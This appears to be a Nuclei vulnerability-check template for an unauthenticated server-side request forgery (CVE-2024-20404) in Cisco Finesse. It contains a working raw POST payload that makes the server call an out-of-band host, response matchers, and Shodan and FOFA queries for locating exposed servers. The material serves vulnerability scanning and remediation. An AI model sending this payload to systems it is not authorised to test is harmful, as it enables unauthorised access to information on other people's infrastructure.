id: CVE-2024-20404

info:
  name: Cisco Finesse - Server-Side Request Forgery (SSRF)
  author: 0x_Akoko
  severity: medium
  description: |
    Cisco Finesse contains an SSRF caused by insufficient validation of user-supplied input in HTTP requests, letting unauthenticated remote attackers access limited sensitive information, exploit requires sending crafted HTTP requests.
  impact: |
    Attackers can access sensitive information from services associated with the device, potentially leading to information disclosure.
  remediation: |
    Apply the latest security patches and updates provided by Cisco for Finesse.
  reference:
    - https://github.com/3zz4t/CVE-2024-20404
    - https://nvd.nist.gov/vuln/detail/CVE-2024-20404
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
    cvss-score: 5.8
    cve-id: CVE-2024-20404
    epss-score: 0.81131
    epss-percentile: 0.99182
    cwe-id: CWE-918
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"Cisco Finesse" port:8445
    fofa-query: title="Cisco Finesse" && port="8445"
  tags: cve,cve2024,cisco,finesse,ssrf,unauth,oob,vkev

http:
  - raw:
      - |
        POST /gadgets/metadata HTTP/1.1
        Host: {{Hostname}}

        {"context":{"container":"default","language":"en","country":"US","locale":"en_US"},"gadgets":[{"url":"http://{{interactsh-url}}"}]}

    matchers:
      - type: dsl
        dsl:
          - 'contains(content_type, "application/json")'
          - 'contains(interactsh_protocol, "http")'
          - 'contains(body, "At least 1 ModulePrefs is required")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a004730450220251461e42b490bd90870507d17b4e4264dcca8dcfa2cbf95c06916b1f97cbfbd022100addfcf681d11b2e16b4df4c7812792b43c5037dd220b225ebe30ac3d6ba90970:922c64590222798bb761d5b6d8e72950